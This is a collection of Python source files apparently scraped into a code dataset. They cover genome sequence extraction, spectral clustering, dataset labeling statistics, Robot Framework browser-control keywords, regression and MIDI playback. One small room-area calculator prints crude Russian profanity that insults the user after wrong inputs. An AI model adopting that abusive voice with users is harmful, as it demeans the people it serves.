pd.concat(non_gap).sort_values([\"chrom\"]).reset_index(drop=True)\n\n def bed_to_sequence(self, bed: pd.DataFrame):\n unique_chromosomes = len(bed.chrom.unique())\n tasks = (\n {\n \"bed\": group,\n \"sequence\": self[chrom]\n }\n for chrom, group in bed.groupby(\"chrom\")\n )\n with Pool(min(unique_chromosomes, cpu_count())) as p:\n sequences = pd.concat(list(tqdm(\n p.imap(\n multiprocessing_extract_sequences,\n tasks\n ),\n total=unique_chromosomes,\n desc=\"Rendering sequences in {assembly}\".format(\n assembly=self.assembly\n ),\n disable=not self._verbose,\n leave=self._leave_loading_bars\n )))\n p.close()\n p.join()\n return sequences\n\n @property\n def assembly(self) -> str:\n \"\"\"Return genome's UCSC Genome Browser assembly ID.\"\"\"\n return self._assembly\n\n @property\n def date(self) -> datetime:\n \"\"\"Return release date.\"\"\"\n return dateparser.parse(self.description.split(\"(\")[0]).date()\n\n @property\n def organism(self) -> str:\n \"\"\"Return genome's organism.\"\"\"\n return self._genome_informations[\"organism\"]\n\n @property\n def scientific_name(self):\n \"\"\"Return genome's organism scientific name.\"\"\"\n return self._genome_informations[\"scientificName\"]\n\n @property\n def description(self):\n \"\"\"Return genome's description as provided by UCSC.\"\"\"\n return self._genome_informations[\"description\"]\n\n @property\n def path(self):\n \"\"\"Return genome's path.\"\"\"\n return self._cache_directory\n","sub_path":"ucsc_genomes_downloader/genome.py","file_name":"genome.py","file_ext":"py","file_size_in_byte":26004,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"56163877","text":"import os\nimport sys\nimport json\nimport yaml\nimport click\nimport numpy as np\nimport pandas as pd\nfrom sklearn import cluster\nfrom sklearn import manifold\n\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nsys.path.append('.')\nfrom VNbO2.data import io\nfrom VNbO2 import kernel\n\ncomposition_label = r'$\\mathrm{V}_{1-x}\\mathrm{W}_{x}\\mathrm{O}_2$'\n\n# specify some matplotlib settings\nplot_params_path = os.path.join(os.path.dirname(__file__), 'matplotlib-params.json')\nwith open(plot_params_path, 'r') as f:\n matplotlib.rcParams.update(json.load(f))\n\ndef plot_results(df, labels):\n\n # spectral embedding drops the first eigenvalue, but not Shi&Malik spectral clustering\n col = ['m', 'c', 'y']\n\n for label, c in zip(label_order, col):\n plt.scatter(df['Nb'][labels == label], df['temp'][labels == label], color=c)\n\n plt.xlabel('composition')\n plt.ylabel('temperature')\n plt.tight_layout()\n plt.savefig('test.png')\n\ndef self_tuning_spectral_clustering(Y, metric='cosine'):\n\n if metric == 'cosine':\n D = kernel.pairwise.cosine_distances(Y)\n elif metric == 'hellinger':\n D = kernel.hellinger_distance(Y)\n elif metric == 'chi2':\n D = kernel.chi2_distance(Y)\n elif metric == 'js_divergence':\n D = kernel.js_divergence(Y)\n elif metric == 'alternative_cosine':\n K = kernel.locally_scaled_cosine_rbf(Y)\n else:\n raise NotImplementedError(f'{metric} is not available.')\n\n if metric != 'alternative_cosine':\n # compute the \"self-tuning\" version of the kernel matrix\n K = kernel.locally_scaled_rbf(D)\n\n Dg = np.diag(np.sum(K, axis=0))\n D2_inv = np.linalg.inv(np.linalg.cholesky(Dg))\n KK = D2_inv @ K @ D2_inv\n\n nc = 3\n # spectral embedding drops the first eigenvalue, but not Shi&Malik spectral clustering...\n # spec = manifold.SpectralEmbedding(n_components=nc, affinity='precomputed')\n # Z = spec.fit_transform(A)\n\n Z = manifold.spectral_embedding(KK, n_components=nc, drop_first=True)\n\n km = cluster.KMeans(n_clusters=3, n_init=100)\n km.fit(Z / np.linalg.norm(Z, axis=1)[:,None])\n\n km = cluster.SpectralClustering(n_clusters=nc, n_init=100, affinity='precomputed')\n # km.fit(1-(D/np.max(D)))\n km.fit(KK)\n\n return km\n\n@click.command()\n@click.argument('config-file', type=click.Path())\ndef run(config_file):\n \"\"\" run self-tuning spectral clustering on the VNb2O3 dataset\"\"\"\n\n with open(config_file) as f:\n config = yaml.safe_load(f)\n\n # default configuration values...\n max_Nb = config.get('max_Nb', 0.2)\n metric = config.get('metric', 'cosine')\n detrend = config.get('detrend', True)\n post_normalize = config.get('post_normalize', False)\n angular_range = config.get('angular_range', (27, 28.5))\n constant_baseline_removal = config.get('constant_baseline_removal', False)\n\n # load the VNbO2 dataset with linear baseline removal\n # clip the angular range down to the range surrounding the diffraction peaks\n Y, angle, df = io.load_VNb2O3(detrend=detrend, angular_range=angular_range, post_normalize=post_normalize)\n\n if constant_baseline_removal:\n Y = Y - Y.min(axis=1)[:,None] + 1e-6\n\n # drop the label column...\n del df['Label']\n\n # limit the compositional range to <= 30% Nb\n sel = (df.Nb <= max_Nb)\n df = df[sel]\n Y = Y[sel]\n C = df['Nb'].values\n\n print(f'running {metric} self-tuning spectral clustering')\n km = self_tuning_spectral_clustering(Y, metric=metric)\n\n # reorder labels...\n C_avg = []\n for label in np.unique(km.labels_):\n C_avg.append(np.mean(C[km.labels_==label]))\n\n label_order = np.argsort(C_avg)[::-1]\n labels = label_order[km.labels_]\n\n df['cluster_label'] = labels\n results_file = os.path.join(os.path.dirname(config_file), f'results-{metric}.csv')\n df.to_csv(results_file)\n\nif __name__ == '__main__':\n run()\n","sub_path":"VNbO2/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":3882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"371038404","text":"import json\nimport yaml\nfrom math import ceil\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport glob\nimport os\nimport argparse\nimport pandas as pd\nimport datetime\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nROOT_DIR = os.path.join(BASE_DIR, \"..\")\nconfig_file = os.path.join(BASE_DIR, 'config.yaml')\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('-v', '--visualize', action=\"store_true\")\n parser.add_argument('-c', '--cron', action=\"store_true\")\n return parser.parse_args()\n\n\ndef collect_all_db(data_dir):\n \"\"\" collect and combine all existing DBs in preprocessed_data folder.\n :param data_dir: directory path of preprocessed data\n :return: combined DB\n \"\"\"\n\n total_db = {}\n child_dirs = glob.glob(os.path.join(data_dir, '*'))\n\n for dir in child_dirs:\n db_file = os.path.join(dir, 'db.json')\n try:\n with open(db_file, 'r') as f:\n loaded = json.load(f)\n except Exception as e:\n print('Failed to open database file {}: {}'.format(db_file, e))\n else:\n total_db = {**total_db, **loaded}\n\n count = 0\n for name in total_db:\n count = count + 1\n\n return total_db\n\n\ndef loadyaml():\n with open(config_file, 'r') as stream:\n options = yaml.load(stream)\n return options\n\n\ndef load_DB(options):\n with open(options['db_file'], \"r\") as db_file:\n db = json.load(db_file).values()\n return db\n\n\ndef show_proportion_bar(target, total):\n # 100% / 25 blocks -> 1% / 0.25 block\n if total == 0:\n blocks = 0\n else:\n proportion = 100 * float(target) / total\n blocks = ceil(proportion * 0.25)\n\n bar = '=' * blocks + '.' * (25 - blocks) + ' [ ' + str(target) +\\\n ' / ' + str(total) + ' ]'\n\n return bar\n\ndef show_label_scatter_plot(db,cron=False):\n\n \"\"\" show scatter plots for computed labels.\n 2 plots: loc - ang / pit - roll\n \"\"\"\n\n\n matplotlib.use('Agg')\n\n loc = []\n ang = []\n pit = []\n roll = []\n cnt = 0\n\n for item in db:\n try:\n if item['invalid'] == 0:\n loc.append(item['loc'])\n ang.append(item['ang'])\n\n pit.append(item['pit'] - 0.5)\n roll.append(item['roll'])\n except:\n continue\n\n\n '''\n print('loc', max(loc), min(loc))\n print('ang', max(ang), min(ang))\n print('pit', max(pit), min(pit))\n print('roll', max(roll), min(roll))\n '''\n\n plt.figure(figsize=(20, 8))\n # loc, ang\n plt.subplot(121)\n plt.scatter(loc, ang, s=3)\n plt.xlim((-2.5, 2.5))\n plt.ylim((-90, 90))\n plt.xlabel('loc')\n plt.ylabel('ang ($^{\\circ}$)')\n plt.title('location ─ angle')\n\n # pit, roll\n plt.subplot(122)\n\n plt.scatter(pit, roll, s=3)\n plt.xlim((-0.75, 0.75))\n plt.ylim((-30, 30))\n\n # plt.axis(option='auto')\n plt.xlabel('pit')\n plt.ylabel('roll ($^{\\circ}$)')\n plt.title('pitch ─ roll')\n\n if cron:\n now = datetime.datetime.now()\n nowDatetime = now.strftime('%Y-%m-%d')\n figure_path = os.path.join('figure', 'label_' + nowDatetime + '.png')\n plt.savefig(figure_path)\n else:\n plt.savefig('stats_label_figure.png')\n plt.show()\n\n\ndef show_total_stat(db):\n \"\"\" show overall statistics. (irrelevant to metadata, labels)\n :param db: combined DB\n :return cnt: total number of data\n :return labeled: number of labeled data\n \"\"\"\n\n cnt = 0\n labeled = 0\n invalid = 0\n for item in db:\n if item['is_input_finished']:\n labeled = labeled + 1\n try:\n if item['invalid'] == 1:\n invalid = invalid + 1\n except:\n pass\n cnt = cnt + 1\n\n print('total_#: ', cnt)\n print('labeled: ', labeled)\n print('invalid: ', invalid)\n print('valid(labeled): ' + show_proportion_bar(labeled-invalid, labeled))\n\n return cnt, labeled\n\n\ndef show_manual_meta_stat(db, total):\n \"\"\" show proportions of all manual metadata\n :param db: combined DB\n :param total: total number of data\n :return: None\n \"\"\"\n\n obs_car = 0\n obs_human = 0\n shadow = 0\n one_column = 0\n two_column = 0\n odd_2column = 0\n\n old = 0\n\n for item in db:\n if not item['is_input_finished']:\n continue\n try:\n if item['obs_car'] == 1:\n obs_car = obs_car + 1\n if item['obs_human'] == 1:\n obs_human = obs_human + 1\n if item['shadow'] == 1:\n shadow = shadow + 1\n if item['column'] == 1:\n one_column = one_column + 1\n if item['column'] == 2:\n two_column = two_column + 1\n\n '''\n if 0 <= item['zebra_ratio'] <= 20:\n under_20 = under_20 + 1\n if 20 < item['zebra_ratio'] <= 40:\n under_40 = under_40 + 1\n if 40 < item['zebra_ratio'] <= 60:\n under_60 = under_60 + 1\n if 60 < item['zebra_ratio'] <= 80:\n under_80 = under_80 + 1\n if 80 < item['zebra_ratio']:\n over_80 = over_80 + 1\n '''\n\n if item['column'] == 2.5:\n odd_2column = odd_2column + 1\n if item['old'] == 1:\n old = old + 1\n except Exception as e:\n print('Fail: ' + item['filehash'])\n continue\n\n print('obs_car: ', show_proportion_bar(obs_car, total))\n print('obs_human:', show_proportion_bar(obs_human, total))\n print('shadow: ', show_proportion_bar(shadow, total))\n print('old: ', show_proportion_bar(old, total), '\\n')\n\n print('column:')\n print(' └─ [1] ', show_proportion_bar(one_column, total))\n print(' └─ [2] ', show_proportion_bar(two_column, total), '\\n')\n print(' [1.5]', show_proportion_bar(odd_2column, total), '\\n')\n \n\ndef show_exifmeta_stat(db, total):\n \"\"\" show exif metadata (internal info from imgs)\n :param db: combined DB\n :param total: total number of data\n :return: None\n \"\"\"\n\n horizontal = 0\n Samsung = 0\n Apple = 0\n make_other = 0\n\n for item in db:\n try:\n if item['is_horizontal']:\n horizontal = horizontal + 1\n\n if item['Make'] == 'samsung':\n Samsung = Samsung + 1\n elif item['Make'] == 'Apple':\n Apple = Apple + 1\n else:\n make_other = make_other + 1\n\n except:\n print('Fail: ' + item['filehash'])\n continue\n\n print('horizontal:', show_proportion_bar(horizontal, total))\n print('\\nMake')\n print(' Samsung:', show_proportion_bar(Samsung, total))\n print(' Apple: ', show_proportion_bar(Apple, total))\n print(' Others: ', show_proportion_bar(make_other, total))\n\n\ndef show_db_stat(db):\n print('\\n--------- total ---------\\n')\n total, labeled = show_total_stat(db)\n\n print('\\n--------- exif metadata ---------\\n')\n show_exifmeta_stat(db, total)\n\n if total == 0:\n print('There are no data!')\n return\n\n print('\\n--------- manual metadata (labeled) ---------\\n')\n show_manual_meta_stat(db, labeled)\n show_label_scatter_plot(db)\n\n print('')\n\n\ndef labeling_progress_for_each_dir(db, dir, idx):\n total = 0\n\n for name in db.values():\n total = total + 1\n\n labeled = len(os.listdir(os.path.join(dir, 'labeled')))\n\n dir_name = os.path.basename(dir)\n print('[' + str(idx) + ']', dir_name, ':', show_proportion_bar(labeled, total))\n\n return total, labeled\n\n\ndef show_labeling_progress(data_dir):\n \"\"\" show labeling progress of all preprocessed datasets.\n = for each dataset, show how many imgs are labeled.\n :param data_dir: directory path for preprocessed data\n :return: children directories of data_dir\n \"\"\"\n\n print('----------------------------------------------')\n child_dirs = glob.glob(os.path.join(data_dir, '*'))\n total = 0\n labeled = 0\n idx = 0\n\n for dir in child_dirs:\n idx = idx + 1\n db_file = os.path.join(dir, 'db.json')\n try:\n with open(db_file, 'r') as f:\n loaded = json.load(f)\n except Exception as e:\n print('Failed to open database file {}: {}'.format(db_file, e))\n else:\n tot, lab = labeling_progress_for_each_dir(loaded, dir, idx)\n total = total + tot\n labeled = labeled + lab\n\n print('')\n print('* TOTAL *')\n print(show_proportion_bar(labeled, total), '\\n')\n print('----------------------------------------------')\n\n return child_dirs\n\n\ndef show_db_stats(db, cron):\n now = datetime.datetime.now()\n nowDatetime = now.strftime('%Y-%m-%d')\n\n df = pd.DataFrame.from_dict(db)\n columns = ['date', 'total', 'labeled', 'invalid', 'obs_car', 'obs_human',\n 'shadow', 'old', '1col', '2col', 'odd2col']\n label_range = {'loc': [-2.5, 2.5], 'ang': [-90, 90],\n 'pit': [-0.25, 1.25], 'roll': [-30, 30]}\n labels = ['loc', 'ang', 'pit', 'roll']\n\n stats = pd.DataFrame(index=range(1), columns=columns)\n\n stats['date'] = nowDatetime\n\n stats['total'] = df.shape[0]\n stats['labeled'] = df[df['is_input_finished']].shape[0]\n stats['invalid'] = df[df['invalid'] == 1].shape[0]\n # horizontal = df[df['horizontal'] == 1].shape[0]\n stats['obs_car'] = df[df['obs_car'] == 1].shape[0]\n stats['obs_human'] = df[df['obs_human'] == 1].shape[0]\n stats['shadow'] = df[df['shadow'] == 1].shape[0]\n stats['old'] = df[df['old'] == 1].shape[0]\n stats['1col'] = df[df['column'] == 1].shape[0]\n stats['2col'] = df[df['column'] == 2].shape[0]\n stats['odd2col'] = df[df['column'] == 2.5].shape[0]\n\n for label in labels:\n interval = (label_range[label][1] - label_range[label][0]) / 10.0\n\n for i in range(10):\n bucket = label + '_' + str(i)\n columns.append(bucket)\n b_range = [label_range[label][0] + i * interval,\n label_range[label][0] + (i + 1) * interval]\n\n test = (df[label] >= b_range[0]) & (df[label] < b_range[1])\n stats[bucket] = df[test].shape[0]\n\n df_stats = pd.DataFrame(stats)\n\n if cron:\n with open('trend.csv', 'a', newline='') as f:\n df_stats.to_csv(f, header=False)\n\n show_label_scatter_plot(db, cron)\n\n with open('trend.csv', 'r') as f:\n df_trend = pd.read_csv(f)\n df_trend[['date', 'labeled']].plot.bar(x='date', y='labeled',\n rot=0)\n\n figure_path = os.path.join('figure', 'num_labeled.png')\n plt.savefig(figure_path)\n\n else:\n print(df_stats)\n\n pass\n\n\ndef main(args):\n options = loadyaml()\n data_dir = os.path.join(BASE_DIR, 'dataset')\n db = collect_all_db(data_dir).values()\n\n if args.visualize:\n print('\\n[1] Show total DB statistics')\n print('[2] Show labeling progress\\n')\n mode = input('Choose mode: ')\n\n if mode == '1':\n show_db_stat(db)\n elif mode == '2':\n show_labeling_progress(data_dir)\n else:\n print('Wrong input!\\n')\n else:\n show_db_stats(db, args.cron)\n\n\nif __name__ == '__main__':\n args = parse_args()\n main(args)\n\n","sub_path":"src/labeling/stats.py","file_name":"stats.py","file_ext":"py","file_size_in_byte":11401,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"134081059","text":"\r\ndef recordsetting(time):\r\n import openpyxl as xl\r\n wb = xl.load_workbook(\"racerecords3.xlsx\")\r\n sheet = wb[\"Tabelle1\"]\r\n time /= 1000\r\n first_cell = sheet[\"A1\"]\r\n second_cell = sheet[\"A2\"]\r\n third_cell = sheet[\"A3\"]\r\n third = float(third_cell.value)\r\n second = float(second_cell.value)\r\n first = float(first_cell.value)\r\n firster = first\r\n seconder = second\r\n thirder = third\r\n if time < first:\r\n underline = 1\r\n firster = time\r\n\r\n seconder = first\r\n thirder = second\r\n elif time < second:\r\n underline = 2\r\n thirder = second\r\n seconder = time\r\n\r\n elif time < third:\r\n thirder = time\r\n underline = 3\r\n else:\r\n underline = 0\r\n first_cell.value = firster\r\n second_cell.value = seconder\r\n third_cell.value = thirder\r\n wb.save(\"racerecords3.xlsx\")\r\n return firster, seconder, thirder, underline\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"modu.py","file_name":"modu.py","file_ext":"py","file_size_in_byte":947,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"454057005","text":"import numpy as np\n\n# Lineare Regression mittels Methode der kleinsten Quadrate\ndef linregress(x, y):\n assert len(x) == len(y)\n\n x, y = np.array(x), np.array(y)\n\n N = len(y)\n Delta = N * np.sum(x**2) - (np.sum(x))**2\n\n # A ist die Steigung, B der y-Achsenabschnitt\n A = (N * np.sum(x * y) - np.sum(x) * np.sum(y)) / Delta\n B = (np.sum(x**2) * np.sum(y) - np.sum(x) * np.sum(x * y)) / Delta\n\n sigma_y = np.sqrt(np.sum((y - A * x - B)**2) / (N - 2))\n\n A_error = sigma_y * np.sqrt(N / Delta)\n B_error = sigma_y * np.sqrt(np.sum(x**2) / Delta)\n\n return A, A_error, B, B_error\n","sub_path":"Vorlagen/Fehlerrechnung/lineregress.py","file_name":"lineregress.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"73419172","text":"# Вариант для дебилов\nfrom math import pi, sqrt\n\ns = 0\nwhile True: # tk =='1' or tk =='2' or tk =='3':\n tk = int(input('Ведите тип комнаты. 1 треугольная, 2 прямоугольная, 3 круг: '))\n if tk == 1:\n x, y, z = (int(i) for i in input('введите 3 стороны через ,: ').split(\n ',')) # float(input('сторона 1: ')),float(input('сторона 2: ')),float(input('сторона 3: '))\n p = (x + y + z) / 2\n S = sqrt(p * (p - x) * (p - y) * (p - z))\n print('Площадь комнаты =', str(round(S, 2)) + 'м2')\n elif tk == 2:\n x, y = float(input('Длина: ')), float(input('Ширина: '))\n S = x * y\n print('Площадь комнаты =', str(round(S, 2)) + 'м2')\n elif tk == 3:\n R = float(input('Радиус : '))\n S = pi * R ** 2\n print('Площадь комнаты =', str(round(S, 2)) + 'м2')\n else:\n if s < 2:\n print('Извините, для этого типа расчета нет! Цифра должна быть от 1 до 3. \\n')\n s += 1\n else:\n print('Иди отсюда НА ХУЙ!')\n s += 1\n break\n if (tk in [1, 2, 3]):\n break\nif s < 3:\n print('Поздравляем! Вы - справились!')\nelse:\n print('ТЫ - Дебил и ДОЛБОЁБ!!')\n","sub_path":"Площадь комнаты.py","file_name":"Площадь комнаты.py","file_ext":"py","file_size_in_byte":1455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"390726258","text":"# Given an array of size n, find the majority element. \n# The majority element is the element that appears more than ⌊ n/2 ⌋ times.\n\n# You may assume that the array is non-empty and the majority element always exist in the array.\n\n# Example 1:\n\n# Input: [3,2,3]\n# Output: 3\n# Example 2:\n\n# Input: [2,2,1,1,1,2,2]\n# Output: 2\n\n#Time: O(n)\n#Space: O(n)\n\nclass Solution:\n def majorityElement(self, nums: List[int]) -> int:\n count = collections.Counter(nums) \n return max(count.keys(), key=count.get)\n\n\n # Time O(n)\n # Space O(1)\n def majorityElement2(self, nums: List[int]) -> int:\n count = 0\n possible = None\n\n for num in nums:\n if count == 0:\n possible = num\n count += (1 if num == possible else -1)\n return possible","sub_path":"python/majority_element.py","file_name":"majority_element.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"343368530","text":"# Copyright 2020- Robot Framework Foundation\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nimport base64\nimport json\nimport os\nfrom datetime import timedelta\nfrom pathlib import Path\nfrom typing import Optional\n\nfrom robot.utils import get_link_path # type: ignore\n\nfrom ..base import LibraryComponent\nfrom ..generated.playwright_pb2 import Request\nfrom ..utils import keyword, logger\nfrom ..utils.data_types import ScreenshotFileTypes\n\n\nclass Control(LibraryComponent):\n \"\"\"Keywords to do things on the current browser page and modify the page\"\"\"\n\n @keyword(tags=(\"Setter\", \"BrowserControl\"))\n def go_forward(self):\n \"\"\"Navigates to the next page in history.\"\"\"\n with self.playwright.grpc_channel() as stub:\n response = stub.GoForward(Request.Empty())\n logger.info(response.log)\n\n @keyword(tags=(\"Setter\", \"BrowserControl\"))\n def go_back(self):\n \"\"\"Navigates to the previous page in history.\"\"\"\n with self.playwright.grpc_channel() as stub:\n response = stub.GoBack(Request.Empty())\n logger.info(response.log)\n\n @keyword(tags=(\"Setter\", \"BrowserControl\"))\n def go_to(self, url: str, timeout: Optional[timedelta] = None):\n \"\"\"Navigates to the given ``url``.\n\n ``url`` URL to be navigated to.\n ``timeout`` time to wait page to load. If not defined\n will use the the library default timeout.\n \"\"\"\n with self.playwright.grpc_channel() as stub:\n response = stub.GoTo(\n Request().Url(url=url, defaultTimeout=int(self.get_timeout(timeout)))\n )\n logger.info(response.log)\n\n def _get_screenshot_path(self, filename: str, fileType: str) -> Path:\n if os.path.isabs(filename):\n d, file = os.path.split(filename)\n directory = Path(d)\n filename = os.path.splitext(file)[0]\n else:\n directory = self.screenshots_output\n # Filename didn't contain {index}\n if \"{index}\" not in filename:\n return directory / filename\n index = 0\n while True:\n index += 1\n indexed = Path(filename.replace(\"{index}\", str(index)))\n logger.trace(indexed)\n path = directory / indexed\n # Unique path was found\n if not path.with_suffix(f\".{fileType}\").is_file():\n return path\n\n @keyword(tags=(\"PageContent\",))\n def take_screenshot(\n self,\n filename: str = \"robotframework-browser-screenshot-{index}\",\n selector: str = \"\",\n fullPage: bool = False,\n fileType: ScreenshotFileTypes = ScreenshotFileTypes.png,\n quality: str = \"\",\n timeout: Optional[timedelta] = None,\n ) -> str:\n \"\"\"Takes a screenshot of the current window or element and saves it to disk.\n\n ``filename`` Filename into which to save. The file will be saved into the robot framework\n ${OUTPUTDIR}/browser/screenshot directory by default, but it can overwritten by providing\n custom path or filename. String ``{index}`` in filename will be replaced with a rolling\n number. Use this to not override filenames. If filename equals to EMBED (case insensitive),\n then screenshot is embedded as Base64 image to the log.html. The image is saved temporally\n to the disk and warning is displayed if removing the temporary file fails.\n\n The ${OUTPUTDIR}/browser/ is removed at the first suite startup.\n\n ``selector`` Take a screenshot of the element matched by selector.\n See the `Finding elements` section for details about the selectors.\n If not provided take a screenshot of current viewport.\n\n ``fullPage`` When True, takes a screenshot of the full scrollable page,\n instead of the currently visible viewport. Defaults to False.\n\n ``fileType`` <\"png\"|\"jpeg\"> Specify screenshot type, defaults to png.\n\n ``quality`` The quality of the image, between 0-100. Not applicable to png images.\n\n ``timeout`` Maximum time how long taking screenshot can last, defaults to library timeout.\n Supports Robot Framework time format, like 10s or 1 min, pass 0 to disable timeout.\n The default value can be changed by using the `Set Browser Timeout` keyword.\n\n Example\n | `Take Screenshot` # Takes screenshot from page with default filename\n | `Take Screenshot` selector=id=username_field # Captures element in image\n | # Takes screenshot with jpeg extension, defines image quality and timeout how long taking screenhost should last\n | `Take Screenshot` fullPage=True fileType=jpeg quality=50 timeout=10s\n \"\"\"\n if self._is_embed(filename):\n logger.debug(\"Embedding image to log.html.\")\n else:\n logger.debug(f\"Using {filename} to take screenshot.\")\n file_path = self._take_screenshot(\n filename, selector, fullPage, fileType, quality, timeout\n )\n if self._is_embed(filename):\n return self._embed_to_log(file_path)\n return self._log_image_link(file_path)\n\n def _log_image_link(self, file_path: str) -> str:\n relative_path = get_link_path(file_path, self.outputdir)\n logger.info(\n ''\n f'
',\n html=True,\n )\n return file_path\n\n def _embed_to_log(self, file_path) -> str:\n png = Path(file_path)\n with png.open(\"rb\") as png_file:\n encoded_string = base64.b64encode(png_file.read())\n # log statement is copied from:\n # https://github.com/robotframework/SeleniumLibrary/blob/master/src/SeleniumLibrary/keywords/screenshot.py\n logger.info(\n ''\n '\"screenshot\"',\n html=True,\n )\n try:\n png.unlink()\n except Exception:\n logger.warn(f\"Could not remove {png}\")\n return \"EMBED\"\n\n def _take_screenshot(\n self,\n filename: str,\n selector: str = \"\",\n fullPage: bool = False,\n fileType: ScreenshotFileTypes = ScreenshotFileTypes.png,\n quality: str = \"\",\n timeout: Optional[timedelta] = None,\n ) -> str:\n string_path_no_extension = str(\n self._get_screenshot_path(filename, fileType.name)\n )\n with self.playwright.grpc_channel() as stub:\n response = stub.TakeScreenshot(\n Request().ScreenshotOptions(\n path=string_path_no_extension,\n selector=selector,\n fullPage=fullPage,\n fileType=fileType.name,\n quality=quality,\n timeout=int(self.get_timeout(timeout)),\n )\n )\n logger.debug(response.log)\n return response.body\n\n def _is_embed(self, filename: str) -> bool:\n return True if filename.upper() == \"EMBED\" else False\n\n @keyword(tags=(\"Setter\", \"Config\"))\n def set_browser_timeout(self, timeout: timedelta) -> str:\n \"\"\"Sets the timeout used by most input and getter keywords.\n\n ``timeout`` Timeout of it is for current playwright context\n and for new contexts. Supports Robot Framework\n [https://robotframework.org/robotframework/latest/RobotFrameworkUserGuide.html#time-format|time format]\n . Returns the previous value of the timeout.\n\n Example:\n | ${old_timeout} = `Set Browser Timeout` 1m 30 seconds\n | Click //button\n | `Set Browser Timeout` ${old_timeout}\n \"\"\"\n old_timeout = self.millisecs_to_timestr(self.timeout)\n self.timeout = self.convert_timeout(timeout)\n try:\n with self.playwright.grpc_channel() as stub:\n response = stub.SetTimeout(Request().Timeout(timeout=self.timeout))\n logger.info(response.log)\n except Exception as error: # Suppress all errors\n if \"Browser has been closed\" in str(error):\n logger.debug(f\"Suppress error {error} when setting timeout.\")\n else:\n raise\n return old_timeout\n\n @keyword(tags=(\"Setter\", \"Config\"))\n def set_retry_assertions_for(self, timeout: timedelta) -> str:\n \"\"\"Sets the timeout used in retrying assertions when they fail.\n\n `Set Browser timeout` controls how long Playwright will perform\n waiting in the node side, assertion retry will determine how long\n Browser library will retry the playwright operation. Generally\n assertion timeout should be longer than the timeout set by\n `Set Browser timeout`.\n\n Returns the previous value of the assertion retry.\n\n Example:\n | `Set Browser Timeout` 10 seconds\n | ${old} = `Set Retry Assertions For` 30s\n | `Get Title` == Login Page\n | `Set Retry Assertions For` ${old}\n\n Example waits 10 seconds on Playwright to get the page title and library\n will retry 30 seconds to make sure that title is correct.\n \"\"\"\n old_retry_assertions_for = self.millisecs_to_timestr(self.retry_assertions_for)\n self.retry_assertions_for = self.convert_timeout(timeout)\n return old_retry_assertions_for\n\n @keyword(tags=(\"Setter\", \"BrowserControl\"))\n def set_viewport_size(self, width: int, height: int):\n \"\"\"Sets current Pages viewport size to specified dimensions.\n\n In the case of multiple pages in a single browser,\n each page can have its own viewport size. However,\n `New Context` allows to set viewport size (and more) for all\n later opened pages in the context at once.\n\n `Set Viewport Size` will resize the page.\n A lot of websites don't expect phones to change size,\n so you should set the viewport size before navigating to\n the page with `New Context` before opening the page itself.\n\n ``width`` Sets the width size.\n\n ``height`` Sets the height size.\n \"\"\"\n with self.playwright.grpc_channel() as stub:\n response = stub.SetViewportSize(\n Request().Viewport(height=height, width=width)\n )\n logger.info(response.log)\n\n @keyword(tags=(\"Setter\", \"BrowserControl\"))\n def set_offline(self, offline: bool = True):\n \"\"\"Toggles current Context's offline emulation.\n\n ``offline`` Toggles the offline mode. Set to False to switch back\n to online mode. Defaults to True.\n \"\"\"\n with self.playwright.grpc_channel() as stub:\n response = stub.SetOffline(Request().Bool(value=offline))\n logger.info(response.log)\n\n @keyword(tags=(\"Setter\", \"BrowserControl\"))\n def set_geolocation(\n self, latitude: float, longitude: float, accuracy: Optional[float] = None\n ):\n \"\"\"Updated the correct Context's geolocation.\n\n Latitude can be between -90 and 90 and longitude can be between -180 and 180.\n Accuracy of the location must be positive number and defaults to 0. When\n creating context, grant ``geolocation`` permission for pages to read its geolocation.\n\n Example:\n | ${permissions} = Create List geolocation\n | `New Context` permissions=${permissions}\n | `Set Geolocation` 60.173708, 24.982263 3 # Points to Korkeasaari in Helsinki.\n \"\"\"\n geolocation_dict = {\"latitude\": latitude, \"longitude\": longitude}\n if accuracy:\n geolocation_dict[\"accuracy\"] = accuracy\n geolocation = json.dumps(geolocation_dict)\n logger.info(geolocation)\n with self.playwright.grpc_channel() as stub:\n response = stub.SetGeolocation(Request().Json(body=geolocation))\n logger.info(response.log)\n\n @keyword(tags=(\"Setter\", \"BrowserControl\"))\n def reload(self):\n \"\"\"Reloads current active page.\"\"\"\n with self.playwright.grpc_channel() as stub:\n response = stub.Reload(Request().Empty())\n logger.info(response.log)\n","sub_path":"Browser/keywords/browser_control.py","file_name":"browser_control.py","file_ext":"py","file_size_in_byte":12884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"89094734","text":"from typing import List\nimport mido\nmido_msg = mido.Message('note_on', note=60)\n#print(mido_msg.type)\n\nmido.get_output_names()\n\nmidifile = mido.MidiFile('./pyprone/resources/midifiles/a-whole-new-world.mid')\nport = mido.open_output('Microsoft GS Wavetable Synth 0')\n\n# midi play\nfor msg in midifile.play():\n print(msg)\n 